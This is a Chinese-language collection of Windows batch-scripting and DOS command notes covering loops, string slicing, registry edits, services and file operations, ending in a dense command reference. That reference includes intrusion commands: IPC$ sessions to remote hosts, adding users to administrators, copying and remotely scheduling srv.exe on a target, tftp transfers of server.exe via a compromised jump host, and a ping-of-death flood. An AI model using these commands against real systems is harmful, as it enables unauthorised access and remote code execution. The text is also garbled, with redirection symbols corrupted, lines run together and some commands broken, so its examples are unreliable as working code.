For /f "tokens=1,2 delims=: " %%j In ('TIME /T') do echo %%j时%%k分
e. 把记事本中的内容每一行前面去掉8个字符
setlocal enabledelayedexpansion
for /f %%i in (zhidian.txt) do (
set atmp=%%i
set atmp=!atmp:~8!
if {!atmp!}=={} ( echo.) else echo !atmp!
:: 读取记事本里的内容(使用 delims 是为了把一行显示全,否则会以空格为分隔符)
for /f "delims=" %%a in (zhidian.txt) do echo.%%a
4) continue 和 break
利用 goto 实现程序中常用的 continue 和 break 命令, 其实非常简单
continue: 在 for 循环的最后一行写上一个标签,跳转到这位置即可
break: 在 for 循环的外面的下一句写上一个标签,跳转到这位置即可
Sample: (伪代码)
for /F ["options"] %variable IN (command)
... do command ...
if ... goto continue
if ... goto break
... do command ...
:break四、其它命令1. ping 命令
测试网络联接状况以及信息包发送和接收状况。但是不能够测试端口。
语法:ping IP地址或主机名 [-t] [-a] [-n count] [-l size]
参数含义:
-t 不停地向目标主机发送数据;
-a 以IP地址格式来显示目标主机的网络地址;
-n count 指定要Ping多少次,具体次数由count来指定;
-l size 指定发送到目标主机的数据包的大小。
Sample: ping 192.168.0.1 -t (不停的测试192.168.0.1,按ctrl+c停止)
Sample: for /L %%a in (0,1,255) do ping 192.168.0.%%a -n 1 && tmp.txt (ping一下所有的局域网电脑)
2. telnet 命令
测试端口使用 telnet IP地址或主机名 端口,使用tcp协议的
telnet 192.168.0.1 80 (测试192.168.0.1的80端口)
3.color 命令
设置背景及字体颜色
语法: color bf
b 是指定背景色的十六进制数字; f 指定前景颜色(即字体颜色)。
如果没有给定任何参数,该命令会将颜色还原到 CMD.EXE 启动时的颜色。
如果两参数一样,视为无效输入。只有一个参数时,设置字体。4. random 命令
产生随机数(正整数0~)5. exit 命令
结束程序。即时是被调用的程序,结束后也不会返回原程序6. shutdown命令
shutdown -s 关机10. 所有内置命令的帮助信息
其他需要的常用命令
findstr /?
copy /?五、字符串处理
1) 分割字符串,以查看时间为例
%源字符串:~起始值,截取长度%
(起始值从0开始;截取长度是可选的,如果省略逗号和截取长度,将会从起始值截取到结尾;
截取长度如果是负数,表示截取到倒数第几个。)
显示如:"11:04:23.03" (完整的时间"hh:mm:ss.tt")
"%time:~0,5%" 显示"hh:mm"(即"11:04"),其中0表示从右向左移位操作的个数,5表示从左向右移位操作的个数
"%time:~0,8%" 显示标准时间格式"hh:mm:ss"(即"11:04:23",前8个字符串)
"%time:~3,-3%"显示"mm:ss"(即从第4个开始,截去最后3个的字符串)
"%time:~3%"
显示"04:23.03"(即去掉前4个字符串)
"%time:~-3%"
显示".tt"(即最后3个字符串)
上面的字串分割格式,也可以用于其它地方,如目录路径:"%cd:~0,10%"
2) 替换字符串
set a="abcd1234"
显示:"abcd1234"
set a=%a:1=kk%
替换&1&为&kk&
显示:"abcdkk234"
3) 字符串合并
由于没有直接的字符串合并函数,只能用笨方法了。
set str1=%str1%%str2%
(合并 str1 和 str2)
4) 计算字符串长度
没有现成的函数。如下程序利用 goto形成循环,不断将字符串截短1,并记录截短的次数,到字符串变成空时的次数即长度。
set testStr=This is a test string
:: 将 testStr 复制到str,str 是个临时字符串
set str=%testStr%
:: 标签,用于goto跳转
:: 判断str是不是空,如果不是则执行下边的语句
if not "%str%"=="" (
:: 算术运算,使num的值自增1,相当于num++或者++num语句
set /a num+=1
:: 截取字符串,每次截短1
set "str=%str:~1%"
:: 跳转到next1标签: 这里利用goto和标签,构成循环结构
goto next1
:: 当以上循环结构执行完毕时,会执行下边的语句
echo testStr=%testStr%
echo testStr的长度为:%num%
5) 截取字符串时,需要传递参数
直接 echo %args:~%num%,-5% 没办法想要的字符串,需要如下两步
setlocal enabledelayedexpansion
echo !args:~%num%,-5!
六、注册表操作
1) 备份注册表,将[HKEY_LOCAL_MACHINE ... Run]的内容,备份到&c:\windows\1.reg&
reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c:\windows\1.reg
reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run c:\windows\2.reg
2) 修改/添加注册表内容
a.一般的添加或修改
reg add "HKCU\Environment" /v Java_Home /t reg_sz /d "D:\Java\jdk1.6.0_07" /f
上句解析:&HKCU&是&HKEY_CURRENT_USER&的缩写,不用缩写用全称也可以;
添加名称为&Java_Home&的变量;类型为&reg_sz&,另一种常见类型是&reg_dword&;值为 D:\Java\jdk1.6.0_07;
b.使用变量
set SoftWareHome=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java
reg add "%SoftWareHome%Web Start\1.6.0_07" /v Home /t reg_sz /d "%cd%\jre1.6.0_07\bin" /f
c.如果注册表的名称有空格,或者数据用特殊符号时
reg add "%SoftWareHome2%\HelpCommands" /v "01:Online Documentation" /t reg_sz /d "\"%cd%\Documentation\Index.htm\"" /f
传入值为(值用双引号括起来的):"D:\ProgramFiles\1.work_soft\Sybase\PowerDesigner_12\Documentation\Index.htm"
reg add "%SoftWareHome2%\Paths" /v ReportTemplates /t reg_sz /d "%cd%\Resource Files\Report Templates\\" /f
传入值为(&\&结尾的): E:\Holemar\1.notes\90. Windows\Resource Files\Report Templates\
d.增加空的内容
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1"
e.添加或修改默认值
reg add "%vpath%InstallPath" /ve /t reg_sz /d "%cd%" /f
这里用&/ve&来代替一般修改时的&/v 变量名&,即可修改默认值了
3) 删除注册表的内容
双引号里面的是注册表的目录,下面两句将删除这目录下的所有信息
reg delete "HKEY_CURRENT_USER\Software\RealVNC" /f
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC" /f
双引号里面的是注册表的目录,下面一句将删除这目录下指定的某个信息
reg delete "HKEY_LOCAL_MACHINE\Software\RealVNC" /v VNC_Server /f
4) 注册表的常用位置
a.系统启动项:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
example: REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v VNC_Server /t REG_SZ /d "%cd%\VNC_Server.bat" /f
b.系统环境变量:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment]
c.当前用户的环境变量:
[HKEY_CURRENT_USER\Environment]
5) 修改注册表之后,结束并重新加载explorer.exe进程,可刷新注册表,令其生效
taskkill /f /im explorer.exe &nul
start "" "explorer.exe"
七、系统服务
1) 停止服务:NET STOP 服务名
启动服务:NET Start 服务名
2) 设置启动类型
SC CONFIG 服务名 START= auto
SC CONFIG 服务名 START= demand
已禁用:SC CONFIG 服务名 START= disabled
附:&START= &等号后面必须要有一个空格。(start还有boot,system两个值)
SC CONFIG Spooler START= demand (打印机加载项,设置成手动,默认自动)
3) 查看系统服务:start %SystemRoot%\system32\services.msc /s八、setlocal与变量延迟
0) 在没有开启变量延迟的情况下,某条命令行中的变量改变,必须到下一条命令才能体现。
另外例如for命令等,其后用一对圆括号闭合的所有语句也当作一行。
set a=5 & echo %a%
也可以对这种机制加以利用,如下的变量交换
set var1=abc
set var2=123
echo 交换前: var1=%var1% var2=%var2%
set var1=%var2%& set var2=%var1%
echo 交换后: var1=%var1% var2=%var2%
1) 启动批处理文件中环境变量的本地化。本地化将持续到出现匹配的 endlocal 命令或者到达批处理文件结尾为止。
语法: setlocal {enableextension | disableextensions} {enabledelayedexpansion | disabledelayedexpansion}
enableextension: 启用命令扩展,直到出现匹配的 endlocal 命令,无论 setlocal 命令之前的设置如何。
disableextensions: 禁用命令扩展,直到出现匹配的 endlocal 命令,无论 setlocal 命令之前的设置如何。
enabledelayedexpansion: 启用延迟的环境变量扩展,直到出现匹配的 endlocal 命令,无论 setlocal 命令之前的设置如何。
disabledelayedexpansion: 禁用延迟的环境变量扩展,直到出现匹配的 endlocal 命令,无论 setlocal 命令之前的设置如何。
2) 为了能够感知环境变量的动态变化,批处理设计了变量延迟。简单来说,在读取了一条完整的语句之后,不立即对该行的变量赋值,而会在某个单条语句执行之前再进行赋值,也就是说&延迟&了对变量的赋值。
setlocal enabledelayedexpansion
set a=5 & echo !a!
变量延迟的启动语句是&setlocal enabledelayedexpansion&,并且变量要用一对叹号&!!&括起来
由于启动了变量延迟,所以批处理能够感知到动态变化,即不是先给该行变量赋值,而是在运行过程中给变量赋值,因此此时a的值就是5了
另外,启动变量延迟,&%&的变量还是不变
setlocal enabledelayedexpansion
for /l %%i in (1,1,5) do (
结果,打印从1到5;如果不变量延迟,一个变量也没有打印九、文件处理
1) 删除一个文件或多个文件
del /s /q /f d:\test\a.bat
将直接删除d:\test\a.bat,没有任务提示
del temp\* /q /f /s
将直接删除 本目录的 temp 目录的所有文件,没有任务提示
删除文件的时候可以使用&*&作通配符
2) 删除一个空目录
d:\test\log
将直接删除d:\test\log目录,如果log目录里面有文件将无法删除
3) 删除一个非空目录 (必须指定目录名称)
rmdir /q /s d:\test\logs
必须指定目录名称,不能使用通配符
除目录本身外,还将删除指定目录下的所有子目录
安静模式,带 /S 删除目录树时不要求确认
无论里面是否有文件或文件夹将全部直接删除
2.创建目录
MKDIR [drive:]path
MD [drive:]path
路径有空格时,可以用双引号括起来,也可以用 & 替代实践部分:======================================================================一、小摘录:
1. 调用其他程序时,对文件的大小写不敏感,文件后缀也可忽略
如:start LeapFTP.exe
与 start leapftp 效果一样,都是运行&LeapFTP.exe&文件
每行的开头的字符串会自动查找程序来运行,还可用双引号引起来(文件名或目录名含空格时必须用)
如:"D:\Program Files\Leap FTP.exe"
"LeapFTP.exe" 可正常运行文件,start "" "LeapFTP.exe" 也可以正常运行文件(注意,第一个参数是窗口显示的标题)
3. copy C:\test\*.* D:\back
(复制C盘test文件夹的所有文件(不包括文件夹及子文件夹里的东西)到D盘的back文件夹)
4. dir c:\*.* & a.txt (将c盘文件列表写入 a.txt 中)
& 生成文件并写入内容(如果有这文件则覆盖),
&& 文件里追加内容
6. md d:\aa (创建文件夹)
7. 在命令末尾加上&&NUL 2&NUL&,表示隐蔽返回信息。
8. 等待用户输入: set /p 变量名=屏幕显示信息。
Sample:set /p pass=请输入密码:
9. 让用户按回车退出
小技巧(替代pause),文件的最后一句:set /p tmp=操作结束,请按回车键退出...
10.设置标题: title JDK安装
11.设置屏幕显示颜色,如绿色: color 0a
12.清屏: cls
13.查看自己的IP:
for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i
echo %ip% (这时的 %ip% 就是自己的IP地址)
14. 修改文件的更新日期
copy 文件名+,,&nul
(修改为当前时间,如果要修改为指定时间,先修改系统时间,再改回系统时间)
15. 修改文件的后缀名
ren C:\test\*.jpg *.JPG for /r %%c in (*.jpg) do (ren %%c *.JPG)
:: 修改当前目录下的所有文件的后缀名,包括子目录的
16. 修改文件的文件名
rename test.jpg test2.JPG
rename *.jpg *.888.JPG
17. 查看DNS、IP、Mac等
1) Win98: winipcfg
2) Win2000以上: Ipconfig /all
3) NSLOOKUP
18.查看IP上的共享资源,就可以
net view 192.168.10.8
A.查看你机器的共享资源: net share
B.手工删除共享
net share 共享资源名称$ /d
注意$后有空格。
C.增加一个共享:
net share mymovie=e:\downloads\movie /users:3
mymovie 共享成功。 同时限制链接用户数为3人。
20.打开某网站
start iexplore.exe 二、实例:
1. 生成 reg 文件,运行它,再删除它
echo "更改windows安装文件的路径"
echo Windows Registry Editor Version 5.00 & c:\setupreg.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup] && c:\setupreg.reg
echo "ServicePackSourcePath"="D:\\Win2003\\" && c:\setupreg.reg
echo "SourcePath"="D:\\Win2003\\" && c:\setupreg.reg
:: 写入注册表
regedit /S c:\setupreg.reg
:: 删除注册表文件
del c:\setupreg.reg
2.调用了exe文件,结束后没有关闭,解决方式
用start命令运行文件,如:
start LeapFTP.exe 192.168.0.100
3.设置系统环境变量
:: 有这个环境变量,则不需再设置,直接结束
if not "%JAVA_HOME%" == "" exit
:: 设置环境变量的地址
set inputJavaHome=%cd%\jdk1.6.0_07
:: 设置环境变量,也可以设置当前用户的变量
set EnvironmentHome=HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
echo 正在设置环境变量,请稍候......
reg add "%EnvironmentHome%" /v JAVA_HOME /t reg_sz /d "%inputJavaHome%" /f
reg add "%EnvironmentHome%" /v ClassPath /t reg_sz /d ".;%%JAVA_HOME%%\lib" /f
reg add "%EnvironmentHome%" /v Path /t reg_sz /d "%%JAVA_HOME%%\%Path%" /f]
:: 刷新,令环境变量生效
taskkill /f /im explorer.exe &nul
start "" "explorer.exe"
4.隐藏某目录的所有文件及文件夹
cd /d 要隐藏的目录(如:D:)
for /f "usebackq delims=" %%A in (`dir /a /b`) do (attrib "%%A" -r +h -s)
5.在批处理中使用密码。密码为admin,输入正确,跳转到next1 ,若输入密码错误3次,则锁屏。。
set /p pass=请输入密码:
if "%pass%"=="admin" goto next1
set /a num=%num% + 1
if %num%==3 goto no1
%windir%\system32\rundll32.exe user32.dll,LockWorkStation
echo 密码正确,执行下面的程式
6.清空回收站(未成功)
del /f /s /q c:\recycler\*.*
::刷新屏幕
taskkill /f /im explorer.exe &nul
start "" "explorer.exe"
7.让系统断断续续地鸣叫
:: 发出鸣叫(&&实际就是ASCII码值为7的特殊字符(蜂鸣键beep)
:: 让程序暂停一小阵子
ping -n 1 -l 1 127.1&nul
goto :begin
8.将 FAT 卷转换成 NTFS
利用&CONVERT.exe&进行,解析如下:
CONVERT volume /FS:NTFS [/V] [/CvtArea:filename] [/NoSecurity] [/X]
指定驱动器号(后面跟一个冒号)、装载点或卷名。
指定要被转换成 NTFS 的卷。
指定 Convert 应该用详述模式运行。
/CvtArea:filename
将根目录中的一个接续文件指定为NTFS 系统文件的占位符。
/NoSecurity 指定每个人都可以访问转换的文件和目录的安全设置。
如果必要,先强行卸载卷。该卷的所有打开的句柄则无效。
程序如下:
@ ECHO OFF
@ ECHO --------------------------------------------------------------------------
@ ECHO NTFS是一种磁盘格式。该格式能存放大于4G的单个文件(如高清电影文件),并可对
@ ECHO 文件夹进行加密,但有个缺点是DOS下无法访问。建议D盘及其后的盘使用NTFS格式,
@ ECHO C盘如非必要可以不转换,FAT32与NTFS这两种格式的读写速度几乎是没有差别的。
@ ECHO --------------------------------------------------------------------------
convert c: /fs:ntfs
:: D盘也转成 NTFS
convert d: /fs:ntfs
9. 获取我的文档
SET SF="HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
FOR /F "tokens=2,*" %%I IN ('REG QUERY %SF% /v Personal 2^&NUL^|FIND /I "Personal"') DO SET "myDoc=%%~J"
:: 复制文件到我的文档
XCOPY /D /E /R /Y /C
"%cd%\test.txt" "%myDoc%\test\"==========================================实例:
3.IF-ERRORLEVEL
XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败
IF ERRORLEVEL 0 ECHO 成功拷贝文件
如果文件拷贝成功,屏幕就会显示&成功拷贝文件&,否则就会显示&文件拷贝失败&。
IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:
XCOPY C:\AUTOEXEC.BAT D:\
CHO 成功拷贝文件
IF ERRORLEVEL 1 ECHO 未找到拷贝文件
IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误
无论拷贝是否成功,后面的:
未找到拷贝文件
用户通过ctrl-c中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误
都将显示出来。
以下就是几个常用命令的返回值及其代表的意义:
0 备份成功
1 未找到备份文件
2 文件共享冲突阻止备份完成
3 用户用ctrl-c中止备份
4 由于致命的错误使备份操作中止
0 盘比较相同
1 盘比较不同
2 用户通过ctrl-c中止比较操作
3 由于致命的错误使比较操作中止
4 预置错误中止比较
0 盘拷贝操作成功
1 非致命盘读/写错
2 用户通过ctrl-c结束拷贝操作
3 因致命的处理错误使盘拷贝中止
4 预置错误阻止拷贝操作
0 格式化成功
3 用户通过ctrl-c中止格式化处理
4 因致命的处理错误使格式化中止
5 在提示&proceed with format(y/n)?&下用户键入n结束
0 成功拷贝文件
1 未找到拷贝文件
2 用户通过ctrl-c中止拷贝操作
4 预置错误阻止文件拷贝操作
5 拷贝过程中写盘错误=============================================================@echo off
//不显示shell的命令。Setlocal
//环境改变只适用于这个文件。%OS%
//为当前的操作系统。Rem
//注释一行文本。Goto 标签
//改变执行顺序,去标签位置.:标签
//定义一个标签。Set 变量名=值
//定义变量Not
//取反Netstat &na
//显示当前被点用的端口.%0
//用于表示批处理文件的参数0为命令,共1-9个参数。Shift
//用于向前一个参数,原1变0,原2变1.每调用一次shift向前一移动一位。Call
//调用其他批处理文件或命令。Start 命令 参数
//指示出在另一个窗口中开始运行命令。=============================================================:: 这段批处理程序可以自动设置Java环境变量@echo offIF EXIST %1\bin\java.exe (rem 如输入正确的 Java2SDK 安装目录,开始设置环境变量@setx JAVA_HOME %1@setx path %path%;%JAVA_HOME%\bin@setx classpath %classpath%;.@setx classpath %classpath%;%JAVA_HOME%\lib\tools.jar@setx classpath %classpath%;%JAVA_HOME%\lib\dt.jar@setx classpath %classpath%;%JAVA_HOME%\jre\lib\rt.jar@echo on@echo Java 2 SDK 环境参数设置完毕,正常退出。) ELSE (IF "%1"=="" (rem 如没有提供安装目录,提示之后退出@echo on@echo 没有提供 Java2SDK 的安装目录,不做任何设置,现在退出环境变量设置。) ELSE (rem 如果提供非空的安装目录但没有bin\java.exe,则指定的目录为错误的目录@echo on@echo 非法的 Java2SDK 的安装目录,不做任何设置,现在退出环境变量设置。))dos命令参考~~~net use \\ip\ipc$ " " /user:" "
建立IPC空链接net use \\ip\ipc$ "密码" /user:"用户名"
建立IPC非空链接net use h: \\ip\c$ "密码" /user:"用户名"
直接登陆后映射对方C:到本地为H:net use h: \\ip\c$
登陆后映射对方C:到本地为H:net use \\ip\ipc$ /del
删除IPC链接net use h: /del
删除映射对方到本地的为H:的映射net user 用户名 密码 /add
建立用户net user guest /active:yes
激活guest用户net user
查看有哪些用户net user 帐户名
查看帐户的属性net localgroup administrators 用户名 /add
把&用户&添加到管理员中使其具有管理员权限,注意:administrator后加s用复数net start
查看开启了哪些服务net start 服务名 
开启服务;(如:net start telnet, net start schedule)net stop 服务名
停止某服务net time \\目标ip
查看对方时间net time \\目标ip /set
设置本地计算机时间与&目标IP&主机的时间同步,加上参数/yes可取消确认信息net view
查看本地局域网内开启了哪些共享net view \\ip
查看对方局域网内开启了哪些共享net config
显示系统网络设置net logoff
断开连接的共享net pause 服务名
暂停某服务net send ip "文本信息"
向对方发信息net ver
局域网内正在使用的网络连接类型和信息net share
查看本地开启的共享net share ipc$
开启ipc$共享net share ipc$ /del
删除ipc$共享net share c$ /del
删除C:共享net user guest 12345
用guest用户登陆后用将密码改为12345net password 密码
更改系统登陆密码netstat -a
查看开启了哪些端口,常用netstat -annetstat -n
查看端口的网络连接情况,常用netstat -annetstat -v
查看正在进行的工作netstat -p 协议名 例:netstat -p tcq/ip
查看某协议使用情况(查看tcp/ip协议使用情况)netstat -s
查看正在使用的所有协议使用情况nbtstat -A ip
对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写tracert -参数 ip(或计算机名)
跟踪路由(数据包),参数:&-w数字&用于设置超时间隔。ping ip(或域名)
向对方主机发送默认大小为32字节的数据,参数:&-l[空格]数据包大小&;&-n发送数据次数&;&-t&指一直ping。ping -t -l 65550 ip
死亡之ping(发送大于K的文件并一直ping就成了死亡之ping)ipconfig (winipcfg)
用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数&/all&显示全部配置信息tlist -t
以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)kill -F 进程名
加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)del -F 文件名
加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如&DEL/AR *.*&表示删除当前目录下所有只读文件,&DEL/A-S *.*&表示删除当前目录下除系统文件以外的所有文件del /S /Q 目录 或用:rmdir /s /Q 目录
/S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名
移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖fc one.txt two.txt & 3st.txt
对比二个文件并把不同之处输出到3st.txt文件中,"& "和"& &" 是重定向命令at id号
开启已注册的某个计划任务at /delete
停止所有计划任务,用参数/yes则不需要确认就直接停止at id号 /delete
停止某个已注册的计划任务at
查看所有的计划任务at \\ip time 程序名(或一个命令) /r
在某时间运行对方某程序并重新启动计算机finger username @host
查看最近有哪些用户登陆telnet ip 端口
远和登陆服务器,默认端口为23open ip
连接到IP(属telnet登陆后的命令)telnet
在本机上直接键入telnet 将进入本机的telnetcopy 路径\文件名1 路径\文件名2 /y
复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件copy c:\srv.exe \\ip\admin$
复制本地c:\srv.exe到对方的admin下cppy 1st.jpg/b+2st.txt/a 3st.jpg
将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.*
复制对方admini$共享下的srv.exe文件(所有文件)至本地C:xcopy 要复制的文件或目录树 目标地址\目录名
复制文件和目录树,用参数/Y将不提示覆盖相同文件tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将&IP&的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送tftp -i 对方IP put c:\server.exe
登陆后,上传本地c:\server.exe至主机ftp ip 端口
用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)route print
显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interfacearp
查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息start 程序名或命令 /max 或/min
新开一个新窗口并最大化(最小化)运行某程序或命令mem
查看cpu使用情况attrib 文件名(目录名)
查看某文件(目录)的属性attrib 文件名 -A -R -S -H 或 +A +R +S +H
去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性dir
查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间date /t 、 time /t 使用此参数即&DATE/T&、&TIME/T&将只显示当前日期和时间,而不必输入新日期和时间set 指定环境变量名称=要指派给变量的字符
设置环境变量set
显示当前所有的环境变量set p(或其它字符)
显示出当前以字符p(或其它字符)开头的所有环境变量pause
暂停批处理程序,并显示出:请按任意键继续....if
在批处理程序中执行条件处理(更多说明见if命令及变量)goto 标签
将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:&:start&标签)call 路径\批处理文件名
从批处理程序中调用另一个批处理程序 (更多说明见call /?)for
对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)echo on或off
打开或关闭echo,仅用echo不加参数则显示当前echo设置echo 信息
在屏幕上显示出信息echo 信息 && pass.txt
将"信息"保存到pass.txt文件中findstr "Hello" aa.txt
在aa.txt文件中寻找字符串hellofind 文件名
查找某文件title 标题名字
更改CMD窗口标题名字color 颜色值
设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白prompt 名称
更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )print 文件名
打印文本文件2ver
在DOS窗口下显示版本信息winver
弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)format 盘符 /FS:类型
格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFSmd 目录名
创建目录replace 源文件 要替换文件的目录
替换文件ren 原文件名 新文件名
重命名文件名tree
以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称type 文件名
显示文本文件的内容more 文件名 逐屏显示输出文件doskey 要锁定的命令=字符doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=taskmgr 调出任务管理器chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口exit
退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exepath 路径\可执行文件的文件名 为可执行文件设置一个路径。cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?regedit /s 注册表文件名
导入注册表;参数/S指安静模式导入,无任何提示;regedit /e 注册表文件名 导出注册表cacls 文件名 参数 显示或修改文件访问控制列表(ACL)&&针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。cacls 文件名
查看文件的访问用户权限列表REM 文本内容
在批处理文件中添加注解netsh
查看或更改本地网络配置情况IIS服务命令:iisreset /reboot
重启win2k计算机(但有提示系统将重启信息出现)iisreset /start或stop
启动(停止)所有Internet服务iisreset /restart
停止然后重新启动所有Internet服务iisreset /status
显示所有Internet服务状态iisreset /enable或disable
在本地系统上启用(禁用)Internet服务的重新启动iisreset /rebootonerror
当启动、停止或重新启动Internet服务时,若发生错误将重新开机iisreset /noforce
若无法停止Internet服务,将不会强制终止Internet服务iisreset /timeout
Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。FTP 命令: (后面有详细说明内容)ftp的命令行格式为:ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。-d 使用调试方式。-n 限制ftp的自动登录,即不使用.netrc文件。-g 取消全局文件名。help [命令] 或 /?[命令] 查看命令说明bye 或 quit 终止主机FTP进程,并退出FTP管理方式.pwd 列出当前远端主机目录put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中mget [remote-files]
从远端主机接收一批文件至本地主机mput local-files 将本地主机中一批文件传送至远端主机dir 或 ls [remote-directory] [local-file]
列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件ascii 设定以ASCII方式传送文件(缺省值)bin 或 image 设定以二进制方式传送文件bell 每完成一次文件传送,报警提示cdup 返回上一级目录close 中断与远程服务器的ftp会话(与open对应)open host[port] 建立指定ftp服务器连接,可指定连接端口delete 删除远端主机中的文件mdelete [remote-files] 删除一批文件mkdir directory-name 在远端主机中建立目录rename [from] [to] 改变远端主机中的文件名rmdir directory-name 删除远端主机中的目录status 显示当前FTP的状态system 显示远端主机系统类型user user-name [password] [account] 重新以别的用户名登录远端主机open host [port] 重新建立一个新的连接prompt 交互提示模式macdef 定义宏命令lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录chmod 改变远端主机的文件权限case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母cd remote-dir 进入远程主机目录cdup 进入远程主机目录的父目录! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zipMYSQL 命令:mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。(例:mysql -h110.110.110.110 -Uroot -P123456注:u与root可以不用加空格,其它也一样)exit 退出MYSQLmysqladmin -u用户名 -p旧密码 password 新密码 修改密码grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。use mysql;
显示库中的数据表describe 表名; 显示数据表的结构create database 库名;
建库use 库名;create table 表名 (字段设定列表); 建表drop database 库名;drop table 表名; 删库和删表delete from 表名;
将表中记录清空select * from 表名; 显示表中的记录mysqldump --opt school&school.bbb
备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。win2003系统下新增命令(实用部份):shutdown /参数
关闭或重启本地或远程主机。参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。例:shutdown /r /t 0 立即重启本地主机(无延时)taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。tasklist
